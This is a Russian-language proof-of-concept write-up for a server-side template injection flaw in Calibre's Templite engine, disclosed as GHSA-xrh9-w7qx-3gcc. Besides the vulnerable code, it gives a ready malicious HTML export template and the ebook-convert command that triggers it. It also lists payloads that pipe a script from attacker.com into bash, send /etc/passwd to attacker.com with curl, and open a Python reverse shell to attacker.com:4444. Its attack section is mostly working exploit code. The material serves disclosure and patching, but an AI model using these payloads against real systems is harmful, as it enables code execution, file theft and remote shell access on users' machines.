
Доказательство концепции для уязвимости Server-Side Template Injection (SSTI) в движке Templite приложения Calibre (GHSA-xrh9-w7qx-3gcc). Демонстрирует произвольное выполнение Python-кода через пользовательские HTML-шаблоны экспорта в затронутых версиях (≤ 9.1.0).
Серьёзность: Высокая (CVSS 7.8)
Затронутое ПО: calibre <= 9.1.0
Исправлено в версии: 9.2.0
Уведомление: GHSA-xrh9-w7qx-3gcc
Уязвимость Server-Side Template Injection (SSTI) в шаблонизаторе Templite в Calibre позволяет выполнять произвольный код при конвертации электронной книги с использованием вредоносного пользовательского файла шаблона через параметры командной строки --template-html или --template-html-index.
Движок Templite (src/templite/__init__.py) компилирует и выполняет шаблоны с помощью функций Python compile() и без какой-либо песочницы:
eval()Уязвимый код в src/templite/__init__.py:
# Строка 72: Шаблон компилируется в код Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Строка 90: Скомпилированный код выполняется через eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Выполнение произвольного кода
Вектор атаки в src/calibre/ebooks/conversion/plugins/html_output.py:
# Строки 96-98: Загружается файл шаблона, предоставленный пользователем
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Строка 136: Шаблон передаётся в уязвимый движок Templite
templite = Templite(template_html_index_data)
Аналогичный шаблон существует и для параметра --template-html (строки 102-106, 200).
Сохраните следующее как malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>Вредоносный шаблон</title></head>
<body>
<h1>Книга сконвертирована!</h1>
<!-- SSTI-пейлоад выполняет произвольные команды -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Конвертация любой электронной книги с использованием вредоносного шаблона
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Вывод: uid=501(username) gid=20(staff) groups=...
# Выполнение команд
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# Экфильтрация файлов
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Обратная оболочка
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Выполнение команд
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Пользователь:", t.render()) # Выводит имя текущего пользователя
# Чтение файла
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("Файл:", t.render()) # Выводит первую строку /etc/passwd
Кто затронут:
Сценарий атаки:
ebook-convert book.epub out.zip --template-html=template.tmpl